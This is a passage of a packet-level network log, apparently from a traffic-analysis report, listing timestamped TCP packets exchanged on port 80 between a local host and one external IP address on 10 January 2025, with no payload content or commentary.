Jan 10, 2025 21:42:22.543620110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543623924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543632984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543668032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543685913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543697119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543715954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543729067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543732882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543741941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543755054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543786049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543809891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543840885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543886900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543899059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543925047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.543956995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543979883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.543998957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544009924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544018984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544020891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544033051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544043064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544049025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544053078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544074059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544086933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544099092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544100046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544115067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544130087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544135094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544147968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544154882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544158936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544173956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544181108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544184923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544208050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544209957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544219017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544229984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544239998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544244051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544256926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544270992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544277906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544289112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544295073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544301033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544312954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544322014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544327021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544353962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544425011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544425011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544428110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544476986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544490099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544502020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544522047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544536114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544599056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544610977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544621944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544632912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544645071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544665098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544671059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544678926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544684887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544692993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544706106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544706106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544725895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544729948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544739008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544749975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544763088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544775963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544790030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544792891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544801950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544816971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544817924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544836998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544866085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544878006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544888973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544899940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544905901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544922113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544924974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544934034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544945955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544958115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544969082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544970989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.544989109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.544996977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.545001984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.545010090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.545015097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.545027971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.545037031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.545038939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.545052052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.545063019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.545063972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.545078039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.545104027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.545124054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.550012112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.586081028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.586097956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.586158991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.586173058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.586184025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.586196899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.586204052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.586209059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.586258888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588011026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588063002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588247061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588258028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588269949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588285923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588321924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588334084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588347912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588357925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588361025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588380098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588418961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588432074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588449955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588452101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588464022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588481903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588488102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588499069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588510036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588520050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588526011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588531017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588540077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588542938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588556051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588567019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588567972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588582039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588587046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588610888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588637114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588649035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588660002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588670015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588680029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.588690996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.588713884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.626116991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630177021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630215883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630227089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630237103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630270004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630280972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630291939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630292892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630306005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630319118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630321980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630341053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630352020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630362034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630362034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630377054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630398989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630409002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630431890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630445004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630465984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630482912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630485058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630496979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630506039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630510092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630521059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630531073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630531073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630543947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630553007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630562067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630574942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630577087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630585909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630597115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630610943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.630614996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630642891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.630913973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631057978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631071091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631093025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631117105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631172895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631330967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631371021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631463051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631484032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631494045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631510019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631519079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631531954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631539106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631555080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631589890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631678104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631689072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631704092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631716013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631724119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631726980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631736040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631748915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631756067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631759882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631764889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631772995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631783962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631793976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631794930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631814003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631833076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631844044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631850958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631850958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631855011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631870031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631875038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631881952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631892920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631900072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631906986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631917953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631928921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631938934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631939888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631964922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631967068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631979942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.631989002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.631999969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632010937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632015944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632020950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632033110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632044077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632045984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632055998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632057905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632067919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632078886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632082939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632091045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632102013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632112980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632117987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632133961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632143021 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632149935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632162094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632164955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632174969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632184982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632186890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632196903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632208109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632217884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632224083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632229090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632241011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632247925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632251978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632262945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632272005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632275105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632287025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632289886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632293940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632304907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632314920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632316113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632328033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632339001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632339954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632347107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632350922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632364035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632375002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632379055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632389069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632400036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632400036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632411957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632422924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632436991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.632436991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632464886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.632473946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.659310102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.673226118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.673305988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.673317909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.673329115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.673340082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.673350096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.673352003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.673362017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.673410892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675091982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675110102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675137997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675203085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675220013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675231934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675242901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675254107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675265074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675271988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675303936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675359011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675376892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675390959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675404072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.675416946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.675417900 CET	80	49710	193.143.1.205	192.168.2.6
